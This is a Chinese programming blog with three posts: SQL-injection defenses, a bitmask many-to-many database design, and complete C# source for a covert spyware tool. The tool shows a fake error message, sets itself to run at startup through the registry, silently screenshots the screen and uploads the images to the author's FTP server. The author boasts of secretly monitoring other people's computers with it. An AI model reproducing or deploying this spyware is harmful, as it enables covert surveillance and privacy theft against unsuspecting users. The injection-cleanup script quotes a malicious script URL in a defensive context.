深度优先

这个家伙好懒,除了文章什么都没留下

0%

1、关键字符号”<>/-‘ “替换

1
2
3
4
5
6
data: {
Action: "getLogin",
username: ($("#username").val() + "").replace(/<|>|\/|-|'|"/g, ""),
password: ($("#password").val() + "").replace(/<|>|\/|-|'|"/g, ""),
LoginVerStr: ($("#verifycode").val() + "").replace(/<|>|\/|-|'|"/g, ""),
},

2、如何批量删除数据库中被注入的代码?

1
2
3
4
5
6
7
8
9
10
11
12
13
DECLARE @fieldtype sysname
SET @fieldtype='varchar'
--删除处理
DECLARE hCForEach CURSOR GLOBAL
FOR
SELECT N'update '+QUOTENAME(o.name)
+N' set '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''<script_src=http://ucmal.com/0.js> </script>'','''')'
FROM sysobjects o,syscolumns c,systypes t
WHERE o.id=c.id
AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
AND c.xusertype=t.xusertype
AND t.name=@fieldtype
EXEC sp_MSforeach_Worker @command1=N'?'

3、创建一个触发器,只要有就不给插入

ps:对性能会有点影响

1
2
3
4
5
6
7
8
9
10
11
12
13
create trigger tr_table_insertupdate
on tablename
for insert,update
as
if exists (
select 1 from inserted
where data like '%</script>%'
)
begin
RAISERROR ('不能修改或者添加',16,1);
ROLLBACK TRANSACTION
end
go

4、防止sql注入,采用带参数的sql语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//添加信息
StringBuilder sql = new StringBuilder( " insert into m_phone ( pid,PhoneName,num,price,phonetype,onSellTime,color,weight,Video,Camera,phoneSize,phoneSystem,Memorysize,PhoneDesc,Standbytime,ScreenSize,Frequency,InputMethod,Soundrecord,gps,fm,mp3,email,Infrared,game,clock,Calendar,Calculator,Bluetooth) ");

sql.Append(" values (@pid,@TextPhoneName,@Textnum,@Textprice,@Dropphonetype2,@TextonSellTime,@Textcolor,@Textweight ");

.................

SqlParameter[] paras = { new SqlParameter("@pid", SqlDbType.Int, 4) ,
new SqlParameter("@TextPhoneName", SqlDbType.NVarChar, 50) ,
new SqlParameter("@Textnum", SqlDbType.Int, 4) ,
new SqlParameter("@Textprice", SqlDbType.Int, 4) ,
new SqlParameter("@Dropphonetype2", SqlDbType.VarChar, 20) ,
new SqlParameter("@TextonSellTime", SqlDbType.DateTime, 8) ,
new SqlParameter("@Textcolor", SqlDbType.VarChar, 20) ,
new SqlParameter("@Textweight", SqlDbType.NVarChar, 50) ,

...........
};

5、通过URL传递的参数要用加密解密

1
2
3
4
5
传输
string szTmp = "safdsfdsafdsfytrsd";
szTmp = Server.UrlEncode(szTmp);
接收
STRING STRA=Server.UrlDecode(request.querystring(szTmp));

另外说一句:网上那些被人奉如圣经的过滤 update insert 等关键字的程序是用处不大的 upupdatedate 过滤掉 update还是update
还会造成不必要的麻烦

下面通过两个方面给大家介绍js代码防止sql注入的方法,非常简单实用,感兴趣的朋友参考下吧!

1.URL地址防注入:

1
2
3
4
5
6
7
8
9
//过滤URL非法SQL字符
var sUrl=location.search.toLowerCase();
var sQuery=sUrl.substring(sUrl.indexOf("=")+1);
re=/select|update|delete|truncate|join|union|exec|insert|drop|count|'|"|;|>|<|%/i;
if(re.test(sQuery))
{
alert("请勿输入非法字符");
location.href=sUrl.replace(sQuery,"");
}

2.输入文本框防注入:

1
2
3
4
5
6
7
8
9
10
11
12
function AntiSqlValid(oField )
{
re= /select|update|delete|exec|count|'|"|=|;|>|<|%/i;
if ( re.test(oField.value) )
{
//alert("请您不要在参数中输入特殊字符和SQL关键字!"); //注意中文乱码
oField.value = ";
oField.className="errInfo";
oField.focus();
return false;
}
}

ps:网上论坛上面,整理得到的。

这几天跟个咸鱼似的。天气太热了,什么事情都不想干。

继续以前的思路写了个winform后台实时截屏de小程序,这次的小改进是,可以将图片上传到自己服务器上

就相当于可以实时监控别人电脑de画面情况,然后加上开机启动,后台运行,一般小白也难以察觉。hhh

找了几个人试了下,效果还不错,而且还发现,在QQ上传文件时,腾讯的测试机会先进行文件的查看

测试机器也在运行我程序的时候被截屏,并上传到服务器了,感觉一下发现新大陆了

直接贴算了,代码也不多:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
//因为以替换形式,保存图片,定义一个全局变量i, fzu0.png fzu1.png fzu2.png fzu(3%3).png fzu(4%3).png
private static int i = 0;
private Bitmap bitmap = null;
private const string imgPath = "CutScreen.png";
private const string CreateimgPath = "D:\\ggg\\img\\";
private const string txtPath = @"CutScreenText.txt";

private void Form1_Load(object sender, EventArgs e)
{
try
{
if (Directory.Exists(CreateimgPath) == false)
Directory.CreateDirectory(CreateimgPath);
}catch{}
StartUp("1");//开机启动
timer1.Start();
MessageBox.Show("oh,当前运行环境不兼容!", "消息提示", MessageBoxButtons.OK, MessageBoxIcon.Error);
}

private void btn_upload_Click(object sender, EventArgs e)
{

}
/// <summary>
/// 全屏截图
/// </summary>
/// <param name="strName"></param>
/// <param name="iVali"></param>
public void ExecCutScreen(string strName, int iVali)
{
bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
Graphics gp = Graphics.FromImage(bitmap);
gp.CopyFromScreen(new Point(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y), new Point(0, 0), bitmap.Size, CopyPixelOperation.SourceCopy);
try
{
string newImg = CreateimgPath + imgPath;
//判断图片是否存在,存在将其删除,用新的替代
if (File.Exists(newImg))
{
File.Delete(newImg);
}
bitmap.Save(newImg, ImageFormat.Png);//存储到本地磁盘
uploadFile(newImg, strName + ".png");
//iVali参数判断,如果iVali=0,说明执行的是现在截取屏幕事件,如果是iVali=1说明执行timer控件事件。
if (iVali == 0)
{
//MessageBox.Show("成功上传!");
}
}
catch(Exception ex) {
//MessageBox.Show(ex.Message);
}
finally
{
gp.Dispose();
bitmap.Dispose();
//iVali参数判断,如果iVali=0,说明执行的是现在截取屏幕事件,如果是iVali=1说明执行timer控件事件。
if (iVali == 1)
{
i++;
}
}
}

/// <summary>
/// 上传到服务器端
/// </summary>
/// <param name="localPath"></param>
/// <param name="strName"></param>
public void uploadFile(string localPath, string strName)
{
Stream strm = null;
FileStream fs = null;
try
{
FileInfo fileInf = new FileInfo(localPath); //本地要上传的文件路径
//上传的ftp路径+文件名
string uri = @"ftp://1.1.1.1/Cut/" + strName;//根据自己连接改下
// 连接
FtpWebRequest reqFTP;
reqFTP = (FtpWebRequest)FtpWebRequest.Create(uri);
reqFTP.UseBinary = true; // 指定数据传输类型
reqFTP.Credentials = new NetworkCredential("ftpName", "ftpPwd"); // ftp用户名和密码

// 默认为true,连接不会被关闭
// 在一个命令之后被执行
reqFTP.KeepAlive = false;
// 指定执行什么命令
reqFTP.Method = WebRequestMethods.Ftp.UploadFile;
//上传文件时通知服务器文件的大小
reqFTP.ContentLength = fileInf.Length;
//缓冲大小设置为kb
int buffLength = 2048;
byte[] buff = new byte[buffLength];
int contentLen;
// 打开一个文件流(System.IO.FileStream) 去读上传的文件
fs = fileInf.OpenRead();
//把上传的文件写入流
strm = reqFTP.GetRequestStream();
// 每次读文件流的kb
contentLen = fs.Read(buff, 0, buffLength);
// 流内容没有结束
while (contentLen != 0)
{
// 把内容从file stream 写入upload stream
strm.Write(buff, 0, contentLen);
contentLen = fs.Read(buff, 0, buffLength);
}
}
catch
{ }
finally
{
// 关闭两个流
strm.Close();
fs.Close();
}
}
int count = 0;
string UserName = System.Environment.UserName;
private void timer1_Tick(object sender, EventArgs e)
{
string time ="" +DateTime.Now.Hour + DateTime.Now.Minute + DateTime.Now.Second;
ExecCutScreen(UserName + "_" + time, 0);
count++;
}


/// <summary>
/// 修改程序在注册表中的键值
/// </summary>
/// <param name="flag">1:开机启动</param>
private void StartUp(string flag)
{
try
{
string path = Application.StartupPath;
string keyName = path.Substring(path.LastIndexOf("\\") + 1);
Microsoft.Win32.RegistryKey Rkey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);

if (flag.Equals("1"))
{
if (Rkey == null)
{
Rkey = Microsoft.Win32.Registry.CurrentUser.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
}
Rkey.SetValue(keyName, path + @"\UploadImages.exe");
}
else
{
if (Rkey != null)
{
Rkey.DeleteValue(keyName, false);
}
}
}
catch
{
}
}
}

只允许程序启动一个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
static class Program
{
private static System.Threading.Mutex mutex;
/// <summary>
/// 应用程序的主入口点。
/// </summary>
[STAThread]
static void Main()
{


Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
mutex = new System.Threading.Mutex(true, "OnlyRun");
if (mutex.WaitOne(0, false))
{
Application.Run(new Form1());
}
else
{
MessageBox.Show("程序已经启动过一次!", "提示消息", MessageBoxButtons.OK, MessageBoxIcon.Information);
Application.Exit();
}
}
}

效果展示:
http://bfsdfs.com/UploadImgShow.aspx

这个项目这前面做省份管理,校区管理,岗位管理,专业岗位等,全部都是增删改查

把省份管理做完了,后面的几乎都可以复制粘贴前面的代码了,改一下绑定字段即可。

也没啥新意的,做着做着就失去了动力,如果以后工作都是增删改查,那就太可怕,没劲。

在做专业管理和岗位管理时,两个表很明显是多对多的关系,但设计数据库的人,似乎忘了给关系表

数据库表与表之间多对多关系怎么处理?

1
2
3
4
5
6
7
拆分关系。增加一个表。使之符合范式。  
比如做学生选课系统。多个学生选多门课。这是[多对多关系](https://www.baidu.com/s?wd=%E5%A4%9A%E5%AF%B9%E5%A4%9A%E5%85%B3%E7%B3%BB&amp;tn=44039180_cpr&amp;fenlei=mv6quAkxTZn0IZRqIHckPjm4nH00T1d9n1fsmyc1rH63Phm4uA7W0ZwV5Hcvrjm3rH6sPfKWUMw85HfYnjn4nH6sgvPsT6KdThsqpZwYTjCEQLGCpyw9Uz4Bmy-bIi4WUvYETgN-TLwGUv3EPHT3nj6Lnj6L)。
这样可以写成三个表。
分别为。学生表(学号,姓名)
[课程表](https://www.baidu.com/s?wd=%E8%AF%BE%E7%A8%8B%E8%A1%A8&amp;tn=44039180_cpr&amp;fenlei=mv6quAkxTZn0IZRqIHckPjm4nH00T1d9n1fsmyc1rH63Phm4uA7W0ZwV5Hcvrjm3rH6sPfKWUMw85HfYnjn4nH6sgvPsT6KdThsqpZwYTjCEQLGCpyw9Uz4Bmy-bIi4WUvYETgN-TLwGUv3EPHT3nj6Lnj6L)(课程号,课程名)
选[课表](https://www.baidu.com/s?wd=%E8%AF%BE%E8%A1%A8&amp;tn=44039180_cpr&amp;fenlei=mv6quAkxTZn0IZRqIHckPjm4nH00T1d9n1fsmyc1rH63Phm4uA7W0ZwV5Hcvrjm3rH6sPfKWUMw85HfYnjn4nH6sgvPsT6KdThsqpZwYTjCEQLGCpyw9Uz4Bmy-bIi4WUvYETgN-TLwGUv3EPHT3nj6Lnj6L)(学号,课程号)
通过选[课表](https://www.baidu.com/s?wd=%E8%AF%BE%E8%A1%A8&amp;tn=44039180_cpr&amp;fenlei=mv6quAkxTZn0IZRqIHckPjm4nH00T1d9n1fsmyc1rH63Phm4uA7W0ZwV5Hcvrjm3rH6sPfKWUMw85HfYnjn4nH6sgvPsT6KdThsqpZwYTjCEQLGCpyw9Uz4Bmy-bIi4WUvYETgN-TLwGUv3EPHT3nj6Lnj6L),将学生和课程联系起来了。

通常情况是这么处理,但自己不想再建表了。
于是乎想了个用一个字段关系也能表示其内在的关联。

想法比较大胆,思想比较歪。

任何一个整数都可以转化成一个二进制数,

如0==》0000,1==》0001,2==》0010,3==》0011,4==》0100,5==》1001

而0,1就能代表关联表中有哪些对应的字段

数据设计是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
--4,岗位表
create table Station
(
StationID int primary key , --岗位ID
StationName varchar(50) not null, --岗位名称
Remarks varchar(50), --岗位被准
)
insert into Station values(1,'软件测试','软测');
insert into Station values(2,'软件开发','开发');
insert into Station values(4,'php','最好的语言');
insert into Station values(8,'.net开发','aa');
insert into Station values(16,'Android开发','bb');
insert into Station values(32,'java开发','cc');
insert into Station values(64,'javaScript','cc');

select * from Station where StationName like'%%' order by StationID desc

go
--5,专业表
create table Major
(
proID int primary key identity(1,1), --专业ID
proName varchar(50) not null, --专业名称
SchoolID int not null references School(SchoolID), --校区ID(外键)
StationS int, --和岗位关系
Remarks varchar(50), --岗位备注
)
insert into Major values('软件测试',1,0,'测试')
insert into Major values('软件工程',1,3,'');
insert into Major values('软件测试',1,11,'');
insert into Major values('网络工程',1,4,'');
insert into Major values('图形图像',2,38,'');
insert into Major values('软件测试',3,21,'');
insert into Major values('网络工程',3,7,'');
insert into Major values('图形图像',3,38,'');

岗位表的编号采用2的n次幂,专业表中的StationS用一个数字可以代表岗位表中关联的岗位

如岗位表中的80,可以推算出岗位表中有64+16这两个岗位组成的

大概关系就是那样的,主要是每次把数组转换成”外键关系“,需要进行计算,然后做增删改查也比较麻烦

岗位的查询,添加,取消

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
/// <summary>
/// 绑定专业对应的岗位信息
/// </summary>
/// <param name="majorID"></param>
private void GetHideMajorInfo(string majorID)
{
Model.majorModel model = new Model.majorModel();
model.PproName = "";
model.PproID = int.Parse(majorID);
DataTable dt = bll.MajorAndSchool(model);
this.txtMajorName.Text=dt.Rows[0]["proName"].ToString();
this.txtSchool.Text=dt.Rows[0]["SchoolName"].ToString();
int GGNumber=int.Parse(dt.Rows[0]["StationS"].ToString());

DataTable gws = bll.selectStation();
this.DDLStationMy.Items.Clear();
foreach (DataRow row in gws.Rows)
{
int p = int.Parse(row["StationID"].ToString());
if(p<= GGNumber)
{
GGNumber -= p;
string key = row["StationName"].ToString();
string value = row["StationID"].ToString();
this.DDLStationMy.Items.Add(new ListItem(key, value));
if (GGNumber == 0) break;
}
}
}
/// <summary>
/// 绑定所有岗位信息
/// </summary>
private void GetBindDDLStation()
{
this.DDLStationAll.DataSource = bll.selectStation();
this.DDLStationAll.DataTextField = "StationName";
this.DDLStationAll.DataValueField = "StationID";
this.DDLStationAll.DataBind();
}


/// <summary>
/// 添加岗位
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
protected void btnAdd_Click(object sender, EventArgs e)
{
string MajorID = Request.QueryString["MajorID"];
int number =int.Parse(this.DDLStationAll.SelectedValue);
foreach ( ListItem ll in DDLStationMy.Items)
{
if(ll.Value== number.ToString())
{
ClientScript.RegisterStartupScript(GetType(), "UserMain", "alert('该专业已经存在!')", true);
return;
}
}
bll.AddStationbyNumber('+', number,int.Parse(MajorID));
GetHideMajorInfo(MajorID);
}
/// <summary>
/// 取消岗位
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
protected void btnUpa_Click(object sender, EventArgs e)
{
string MajorID = Request.QueryString["MajorID"];
int number = int.Parse(this.DDLStationMy.SelectedValue);
bll.AddStationbyNumber('-', number, int.Parse(MajorID));
GetHideMajorInfo(MajorID);
}

设置添加新岗位的ID编号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
BLL.StationBLL bll = new BLL.StationBLL();
/// <summary>
/// 设置新加的岗位ID
/// </summary>
private void GetTxtStationID()
{
DataTable dt = bll.SelectStationID();//查询Station表中所有的ID
for (int newId = 1; newId < Math.Pow(2,31); newId *= 2)
{
bool falg = true;//新创建的id能否使用
foreach (DataRow row in dt.Rows)
{
int id = int.Parse(row["StationID"].ToString());//数据库中的id
if(id== newId)//新创建的id数据库中已经存在
{
falg = false;//新创建的id不能用
break;//跳出循环,在创建一个newID
}
}
if (falg)//新创建的id可以用,找到了,赋值,跳出循环
{
this.txtStationID.Text = newId.ToString();
break;
}
}
}

修改专业的岗位SQL语句:

1
2
3
4
5
6
7
8
9
10
11
/// <summary>
/// 修改专业的岗位信息
/// </summary>
/// <param name="addNumber"></param>
/// <param name="majorId"></param>
/// <returns></returns>
public bool AddStationbyNumber(char fuhao, int Number,int majorId)
{
string sql = string.Format("update Major set StationS{0}={1} where proID={2}", fuhao, Number, majorId);
return DbHelperSQL.ExecuteSql(sql)>0?true:false;
}

数据库删除某个岗位,对应专业中减去该岗位的数值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
/// <summary>
/// 删除岗位表中的数据
/// </summary>
/// <param name="id"></param>
/// <returns></returns>
public bool DeleteStationByID(int id)
{
string sql = "delete Station where StationID="+id;
UpdateMajorByStation(id);
return DbHelperSQL.ExecuteSql(sql) > 0 ? true : false;
}
/// <summary>
/// 删除岗位表中数据更新专业表中number
/// </summary>
/// <param name="id"></param>
public void UpdateMajorByStation(int id)
{
DAL.majorDAL major = new majorDAL();
DataTable dt = major.selectMajorAll();
DataTable Station = SelectStationInfo("");
foreach (DataRow row in dt.Rows)
{
int number = int.Parse(row["StationS"].ToString());
foreach (DataRow item in Station.Rows)
{
int p = int.Parse(item["StationID"].ToString());
if (number >= p)
{
number -= p;
if (p == id)
{
updateMajorNumber(row["proID"].ToString(), id);
}
}
}
}
}

public void updateMajorNumber(string Majorid,int id)
{
string sql =string.Format("update Major set StationS-={0} where proID={1}",id,Majorid);
DbHelperSQL.ExecuteSql(sql);
}

ps:好多没解释清楚。算了就这样把